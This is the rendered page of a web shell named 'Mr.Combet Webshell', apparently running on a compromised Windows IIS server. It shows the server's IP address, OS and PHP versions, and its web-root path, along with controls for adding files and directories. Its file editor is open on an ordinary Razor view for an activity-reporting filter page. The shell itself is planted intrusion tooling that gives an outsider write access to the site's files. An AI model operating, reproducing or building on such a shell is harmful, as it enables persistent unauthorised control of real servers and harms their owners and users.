Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
ActivityReporting
/
Edit File Name :
Index.cshtml
@using RER_Project.BusinessLayer.BusinessService; @model List<RER_Project.DataAccess.ViewModels.Activity.ActivityReportingDetailView> @{ int page = 1; if (Request.QueryString["page"] != null) { page = Convert.ToInt32(Request.QueryString["page"].ToString()); } } <style> .ibox-content { margin-bottom: 0px; } </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Activity Reports</strong> </li> </ol> </div> @*@if (!meta.IsAdministrator) { <div class="col-lg-4"> <div class="title-action"> <a href="@("/activities/reporting/create")" class="btn btn-sm btn-primary">Create</a> </div> </div> }*@ </div> @* Filter section *@ <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="filter col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <input type="hidden" id="startDate" name="StartDate" /> <input type="hidden" id="endDate" name="EndDate" /> <div class="row"> <!--<div class="form-group col-md-4"> <label><strong>Start Date</strong></label> <input placeholder="Start Date" type="text" class="form-control required" id="nepaliStartDatePicker" />--> @*<input type="date" class="form-control required" id="StartDate" name="StartDate" />*@ <!--</div> <div class="form-group col-md-4"> <label><strong>End Date</strong></label> <input placeholder="End Date" type="text" class="form-control required" id="nepaliEndDatePicker" />--> @*<input type="date" class="form-control required" id="EndDate" name="EndDate" />*@ <!--</div>--> <div class="form-group col-md-3"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@ViewBag.Province"></select> <input type="hidden" value="@ViewBag.Province" id="HProvinceId" /> </div> <div class="form-group col-md-3"> <label><strong>Atoll</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@ViewBag.District" disabled></select> <input type="hidden" value="@ViewBag.District" id="HDistrictId" /> </div> <div class="form-group col-md-3"> <label><strong>Island</strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@ViewBag.Municipality" disabled> </select> <input type="hidden" value="@ViewBag.Municipality" id="HMunicipalityId" /> </div> <div class="form-group col-md-3"> <label><strong>Fiscal Year</strong></label> <select class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@ViewBag.Fy"></select> <input type="hidden" value="@ViewBag.Fy" id="HFiscalYearId" /> </div> </div> <div class="row"> <div class="form-group col-md-4"> <label><strong>Component</strong></label> <select class="form-control required clear" id="ComponentId" name="ComponentId" data-api="/component/select" data-api-selected-value="@ViewBag.Comp"></select> <input type="hidden" value="@ViewBag.Comp" id="HComponentId" /> </div> <div class="form-group col-md-4"> <label><strong>Sub Component</strong></label> <select class="form-control required clear" id="SubComponentId" name="SubComponentId" data-api="/sub-component/select" data-api-selected-value="@ViewBag.Sub" disabled=""></select> <input type="hidden" value="@ViewBag.Sub" id="HSubComponentId" /> </div> <div class="form-group col-md-4"> <label><strong>Activity Name</strong></label> <input type="text" id="ActivityName" name="ActivityName" class="form-control" /> </div> <div class="row"> <div class="form-group col-md-offset-10"> <button type="button" id="filter" name="filter" class="btn btn-primary center-orientation">Search <i class="fa fa-search" aria-hidden="true"></i></button> <button type="button" id="clear" name="clear" class="btn btn-primary center-orientation">Reset <i class="fa fa-refresh" aria-hidden="true"></i></button> </div> </div> </div> </div> </div> </div> </div> </div> @* End of filter section *@ <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <div id="loadActivityReportingList"></div> </div> </div> </div> </div> </div> <link href="~/Content/plugins/dataTables/datatables.min.css" rel="stylesheet" /> <script src="~/Scripts/plugins/dataTables/datatables.min.js"></script> <script src="https://code.jquery.com/jquery-1.12.4.js"></script> <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"> <link rel="stylesheet" href="https://jqueryui.com/resources/demos/style.css"> <script> var isFilter = false; $(document).ready(function () { window.initializeSelectApis(); window.initializeSelectApis2(); window.initializeCascadeComponent(); window.initializeCascadeLocation2(); getActivityReportingList(); $("#nepaliStartDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, }); $("#nepaliStartDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#startDate").val(dateFormatting(datePickerData.adDate)); }); $("#nepaliEndDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, }); $("#nepaliEndDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#endDate").val(dateFormatting(datePickerData.adDate)); }); }); $(document).on("change", "#SubComponentId", function (e) { var id = $(this).val(); const ajax = request(); function request() { const url = "/activity-by-category/text"; const data = { subComponentId: id }; return window.getAjaxRequest(url, "POST", JSON.stringify(data)); } ajax.done(function (response) { $("#ActivityName").autocomplete({ source: response }); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); $('#filter').off("click").on("click", function () { isFilter = true; WorkForce.loader.show(); getActivityReportingList(); }) $('#clear').off("click").on("click", function () { isFilter = true; //$("#ComponentId").val(""); //$("#SubComponentId").val(""); //$("#ActivityName").val(""); //$("#FiscalYearId").val(""); //$("#startDate").val(""), // $("#nepaliStartDatePicker").val(""), // $("#endDate").val(""), // $("#nepaliEndDatePicker").val(""), // $("#ProvinceId").val(""), // $("#DistrictId").val(""), // $("#MunicipalityId").val("") getActivityReportingList(); }) function dateFormatting(e) { var year = e.getFullYear(); var month = String(e.getMonth() + 1).padStart(2, '0'); var day = String(e.getDate()).padStart(2, '0'); return year + "-" + month + "-" + day; } function getActivityReportingList() { $('#loadActivityReportingList').load("/activities/reporting/list", JSON.parse(getSearchModel()), function (response, status, xhr) { if (status == "error") { var msg = "Sorry but there was an error: "; ShowMessage("error", "error", msg + xhr.status + " " + xhr.statusText); }; WorkForce.loader.hide(); }); } function getSearchModel() { var ActivityFilterVM = { componentId: $('#ComponentId').val() !== null ? $("#ComponentId").val() : $("#HComponentId").val(), subComponentId: $('#SubComponentId').val() !== null ? $("#SubComponentId").val() : $("#HSubComponentId").val(), activityName: $('#ActivityName').val(), fiscalyearId: $("#FiscalYearId").val() !== null ? $("#FiscalYearId").val() : $("#HFiscalYearId").val(), startDate: $("#startDate").val(), endDate: $("#endDate").val(), provinceId: $("#ProvinceId").val() !== null ? $("#ProvinceId").val() : $("#HProvinceId").val(), districtId: $("#DistrictId").val() !== null ? $("#DistrictId").val() : $("#HDistrictId").val(), palikaId: $("#MunicipalityId").val() !== null ? $("#MunicipalityId").val() : $("#HMunicipalityId").val(), page:@page }; debugger if (isFilter) { ActivityFilterVM.page = 1; } var model = JSON.stringify(ActivityFilterVM); return model; } $("#searchPlanning").off("click").on("click", function () { debugger; const a = $("#ProjectId").val(); //projectId = $("#ProjectId").val(); WorkForce.loader.show(); loadMembers(); }) function loadMembers() { const projectId = $("#ProjectId").val(); debugger $('#loadPartialView').load("/activities/reporting/search?projectId=" + projectId, function (response, status, xhr) { if (status == "error") { var msg = "Sorry but there was an error: "; ShowMessage("error", "error", msg + xhr.status + " " + xhr.statusText); }; WorkForce.loader.hide(); }); } function submitReport(reportId, verificationId) { debugger; function request() { const url = "/activities/report/submit"; const data = JSON.stringify({ 'reportId': reportId, 'verificationId': verificationId }); return window.getAjaxRequest(url, "POST", data); } if (!window.confirmAction()) { return; } WorkForce.loader.show(); const ajax = request(); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/activities/reporting"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } function createPDF(id) { url = `/report/activities/pdf/${id}`; var win = window.open(url, '_blank'); win.focus(); } </script>
Save